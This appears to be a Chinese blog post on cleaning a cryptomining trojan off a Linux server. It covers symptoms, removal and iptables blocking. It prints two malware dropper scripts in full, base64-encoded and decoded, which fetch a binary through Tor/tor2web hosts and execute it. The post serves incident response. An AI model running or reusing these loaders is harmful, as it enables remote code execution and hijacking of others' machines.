记一次Linux挖矿木马清除

现象

CPU监控爆满至100%
查进程发现：
1.谜之六字木马

2.定时任务异常

3.hosts异常

4.root家目录两个隐藏文件

cat /root/.ucxin.sh
#!/bin/bash
exec &>/dev/null
echo ucxin.sh
echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmQ9JChncmVwIHg6JChpZCAtdSk6IC9ldGMvcGFzc3dkfGN1dCAtZDogLWY2KQpjPSQoZWNobyAiY3VybCAtNGZzU0xrQS0gLW0yMDAiKQp0PSQoZWNobyAibWF6ZWNsbWhiYWN1Y3hpbiIpCgpzb2NreigpIHsKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgoJGMgaHR0cHM6Ly9kb2guY2VudHJhbGV1LnBpLWRucy5jb20vJHAgfHwKICAgICAkYyBodHRwczovL2Rucy50d25pYy50dy8kcCB8fAogICAgICRjIGh0dHBzOi8vZG5zLnJ1YnlmaXNoLmNuLyRwIHx8CiAgICAgJGMgaHR0cHM6Ly9kb2guZG5zLnNiLyRwIDsgaG9zdCAtVyA1IHJlbGF5LnRvcjJzb2Nrcy5pbnxhd2sgeydwcmludCAkTkYnfSlcCiAgICAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAnXG4nfHNvcnQgLXVSfGhlYWQgLTEgKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAkZCAvdG1wIC92YXIvdG1wIC9kZXYvc2htIC91c3IvYmluIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmZXhlCmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IHx8ICRjICQxJGYgLW8keApjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuaW8gdG9yMndlYi50byB0b3Iyd2ViLnN1CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC0xIC90bXAvLlgxMS11bml4LzAwKS9pbzsgdGhlbgp1ICR0LiRoCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash

 cat /root/.unixdb.sh
#!/bin/bash
exec &>/dev/null
echo yyANhZDFOs31F9WgqOovurruEMT3Z+v82MG0m9elafh8GU1+u4/78NZoKz2rA7O2
echo eXlBTmhaREZPczMxRjlXZ3FPb3Z1cnJ1RU1UM1ordjgyTUcwbTllbGFmaDhHVTErdTQvNzhOWm9LejJyQTdPMgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICJ1bml4ZGJudWFkeG13dG9iIikKCnNvY2t6KCkgewpuPShkbnMudHduaWMudHcgZG9oLmNlbnRyYWxldS5waS1kbnMuY29tIGRvaC5kbnMuc2IgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgdW5jZW5zb3JlZC5hbnkuZG5zLm5peG5ldC54eXopCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTUpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xzb3J0IC11UnxoZWFkIC0xKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAkZCAvdG1wIC92YXIvdG1wIC9kZXYvc2htIC91c3IvYmluIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmZXhlCmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IHx8ICRjICQxJGYgLW8keApjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuY2ggdG9yMndlYi5pbyB0b3Iyd2ViLnRvIHRvcjJ3ZWIuc3UKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLTEgL3RtcC8uWDExLXVuaXgvMDApL3N0YXR1czsgdGhlbgp1ICR0LiRoCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash

5.解码

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbind=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "mazeclmhbacucxin")sockz() {p=$(echo "dns-query?name=relay.tor2socks.in")
s=$(($c https://doh.centraleu.pi-dns.com/$p ||$c https://dns.twnic.tw/$p ||$c https://dns.rubyfish.cn/$p ||$c https://doh.dns.sb/$p ; host -W 5 relay.tor2socks.in|awk {'print $NF'})\| grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|sort -uR|head -1 )
}fexe() {for i in $d /tmp /var/tmp /dev/shm /usr/bin ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}u() {sockz
fexe
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
$c -x socks5h://$s:9050 $t.onion$f -o$x || $c $1$f -o$x
chmod +x $x;$x;rm -f $x
}for h in tor2web.in tor2web.io tor2web.to tor2web.su
do
if ! ls /proc/$(head -1 /tmp/.X11-unix/00)/io; then
u $t.$h
else
break
fi
Done

yyANhZDFOs31F9WgqOovurruEMT3Z+v82MG0m9elafh8GU1+u4/78NZoKz2rA7O2
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbind=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "unixdbnuadxmwtob")sockz() {n=(dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org uncensored.any.dns.nixnet.xyz)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%5))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|sort -uR|head -1)
}fexe() {for i in $d /tmp /var/tmp /dev/shm /usr/bin ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}u() {sockz
fexe
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
$c -x socks5h://$s:9050 $t.onion$f -o$x || $c $1$f -o$x
chmod +x $x;$x;rm -f $x
}for h in tor2web.in tor2web.ch tor2web.io tor2web.to tor2web.su
do
if ! ls /proc/$(head -1 /tmp/.X11-unix/00)/status; then
u $t.$h
else
break
fi
done

6.进程号、名称总是更改，且发现相关占用文件

解决

封堵

yum install -y iptablesiptables -A OUTPUT -m string --string "cim8.f.dedikuoti.lt" --algo bm --to 65535 -j DROP
iptables -A OUTPUT -m string --string "dedikuoti.lt" --algo bm --to 65535 -j DROP
iptables -A OUTPUT -p tcp -d cim8.f.dedikuoti.lt --dport 1:65535 -j DROP
iptables -A OUTPUT -p udp -d cim8.f.dedikuoti.lt --dport 1:65535 -j DROP

后发现谜之进程，正在通过本地多端口ssh连接其他节点

遂即发现木马又回来了，故编写脚本定时删文件、杀进程，结合iptables

crontab -u root -l
*/5 * * * * /bin/sh /root/mumashanchu.sh#!/bin/bashif [ -f "/root/.unixdb.sh" ];then
chattr -i /root/.unixdb.sh
rm -rf /root/.unixdb.sh
sed -i "/.unixdb.sh/d"  /var/spool/cron/root
else
echo "unixdb none"
fiif [ -f "/root/.ucxin.sh" ];then
chattr -i /root/.ucxin.sh
rm -rf /root/.ucxin.sh
sed -i "/.ucxin.sh/d"  /var/spool/cron/root
else
echo "ucxin none"
fia=` ps -aux --sort=-%cpu | head -3 | grep -n "tracepath" | awk '{print $2}' `
## echo $a
if [ ! $a ];then
echo "tracepath none"
else
/usr/bin/kill -9 $a
fi

iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     all  --  anywhere             anywhere             state RELATED,ESTABLISHED
ACCEPT     icmp --  anywhere             anywhere
ACCEPT     all  --  anywhere             anywhere
ACCEPT     tcp  --  anywhere             anywhere             state NEW tcp dpt:ssh
REJECT     all  --  anywhere             anywhere             reject-with icmp-host-prohibitedChain FORWARD (policy ACCEPT)
target     prot opt source               destination
REJECT     all  --  anywhere             anywhere             reject-with icmp-host-prohibitedChain OUTPUT (policy ACCEPT)
target     prot opt source               destination
DROP       tcp  --  anywhere             cim8.f.dedikuoti.lt  tcp spts:tcpmux:65535
DROP       udp  --  anywhere             cim8.f.dedikuoti.lt  udp spts:tcpmux:65535
DROP       all  --  anywhere             anywhere             STRING match  "cim8.f.dedikuoti.lt" ALGO name bm TO 65535
DROP       all  --  anywhere             anywhere             STRING match  "dedikuoti.lt" ALGO name bm TO 65535
DROP       tcp  --  192.168.0.0/16       anywhere             tcp dpts:tcpmux:65535
DROP       udp  --  192.168.0.0/16       anywhere             udp dpts:tcpmux:65535

记一次Linux挖矿木马清除相关推荐

记一次linux挖矿木马的处置
场景受公司委托对客户服务器挖矿木马进行应急处置,客户说服务器很卡让我们排查处置一下,okok,直接远程开搞开搞,所有可疑文件先下载留存,再删除. 排查分析使用top命令查看CPU使用率时发现,进程 ...
清除linux挖矿木马[crypto]的过程
朋友反馈,阿里云管控台报警,cpu占用100%,瞬间想到挖矿木马(因为本驴之前中过招,排查过程点开本驴主页微头条寻找). 排查过程如下: 1.top命令查看进程占用情况,没有发现可疑进程,而且cpu的 ...
分析teamTNT团队Linux挖矿木马执行过程与防范
分析teamTNT团队Linux挖矿木马执行过程与防范公司需要扩展海外业务,需要有一台海外云服务器.当我们把应用部署上去时的第二天所有应用down掉了,然后发现ssh连接服务器特别慢.好不容易连接上 ...
redis 挖矿木马清除
redis 挖矿木马清除 https://www.360zhijia.com/anquan/447557.html https://github.com/MoreSecLab/DDG_MalWare_ ...
【挖矿木马】记一次被挖矿木马攻击的过程（Redis被攻击）
不会吧,不会吧,不会2020年了还有人中挖矿木马吧. 0x01.事情经过: 关于这台服务器:我有一台阿里云的服务器(不是学生机)专门拿来做项目测试用的,部署好一些我经常需要用的组件后,平常就没怎么管过 ...
Linux服务器挖矿木马清除
异常现象 1.服务器CPU总占用50%,部分进程占用800%左右(共16核) top 定位 1.数据传输 netstat -lntupa 2.定时任务 [root@bogon .new]# cat / ...
Linux minerd木马清除
最近一段时间,总是有人反映公司的一台测试服务器访问速度很慢,半天都打不开.开始的时候,以为是这两天新部署的测试程序导致的.想着测试完关掉就没有事情了.后来,仔细想了想,觉得不对.新的测试程序,并不是很 ...
Linux minerd木马清除(续)
前两天清除了minerd木马之后,服务器一直运行良好.本来以为就这样解决问题了.结果,今天晚上,突然收到监控组的告警,说服务器再度变慢,不但cpu 100%了,就是连带宽也100%了.我晕,于是SSH ...
linux挖矿病毒清除 .ssh3 /tmp/.
症状: cpu 飙高,如果有java 程序的话会发现程序每隔30分钟重新启动一次用top命令查看发现 /tmp/. 这个程序非常消耗cpu 病毒源码病毒定时任务清除过程: 1. 先停止定时任 ...

记一次Linux挖矿木马清除

现象

解决

记一次Linux挖矿木马清除相关推荐

最新文章

热门文章